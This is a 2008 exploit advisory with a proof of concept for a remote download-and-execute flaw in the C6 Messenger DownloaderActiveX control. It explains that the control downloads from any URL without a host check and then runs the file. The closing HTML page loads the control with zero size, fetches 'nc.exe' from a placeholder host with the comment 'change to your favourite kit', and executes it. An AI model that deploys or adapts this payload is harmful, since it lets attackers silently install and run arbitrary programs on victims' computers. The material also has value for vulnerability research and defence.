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[NSG 03-06-2008] C6 Messenger Installation Url DownloaderActiveX Control Remote Download & Execute Exploit Jun 03 2008 07:24PM
ipsdix gmail com
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C6 Messenger Installation Url DownloaderActiveX Control Remote Download

& Execute Exploit

by

Nine:Situations:Group::SnoopyAssault

site: http://retrogod.altervista.org/

exploit url: http://retrogod.altervista.org/9sg_c6_download_exec.html

"C6 Messenger is an instant messaging program produced by Telecom Italia Group,

specifically by Alice (distribution), Icon Spa (development, design and server)

and Opendoc (graphics). It is the only instant messenger entirely produced in

Italy, is a free program, allows you to chat in real time with friends[..]"

installation urls:

http://c6.community.alice.it/home/index.html

http://c6.community.alice.it/download/c6.html

Whoever accessed the second one with IE to install c6 IM is vulnerable to this

threat. Notice that you can pass also local urls to "propDownloadUrl" property

and bypass Internet zone, no host check is performed.

"propPostDownloadAction" one is used to launch the executable.

A progress bar is shown but you can easily make it not visible.

settings:

RegKey Safe for Script: False

RegKey Safe for Init: False

Implements IObjectSafety: True

IDisp Safe: Safe for untrusted: caller,data

IPersist Safe: Safe for untrusted: caller,data

info:

http://www.google.com/search?hl=en&q=c1b7e532-3ecb-4e9e-bb3a-2951ffe67c6
1&meta=&num=100&filter=0

Let me guess, this one is already exploited in the wild...

Thanks Mommy Telecom Italia!!

If you think this poc is useful, please help us to improve our equipment and

donate through the paypal button on our site!

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Goodbye rgod-tsid-pah he-ru-ka!

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<HTML>

<BODY>

<OBJECT ID="DownloaderActiveX1"

WIDTH="0"

HEIGHT="0"

CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"

CODEBASE="DownloaderActiveX.cab#Version=1,0,0,1">

<PARAM NAME="propProgressBackground" VALUE="#bccee8">

<PARAM NAME="propTextBackground" VALUE="#f7f8fc">

<PARAM NAME="propBarColor" VALUE="#df0203">

<PARAM NAME="propTextColor" VALUE="#000000">

<PARAM NAME="propWidth" VALUE="0">

<PARAM NAME="propHeight" VALUE="0">

<PARAM NAME="propDownloadUrl" VALUE="http://yoursite.com/nc.exe"><!-- change to your favourite kit ! :) -->

<PARAM NAME="propPostDownloadAction" VALUE="run"> <!-- lol -->

<PARAM NAME="propInstallCompleteUrl" VALUE="">

<PARAM NAME="propBrowserRedirectUrl" VALUE="">

<PARAM NAME="propVerbose" VALUE="0">

<PARAM NAME="propInterrupt" VALUE="0">

</OBJECT>

</BODY>

</HTML>

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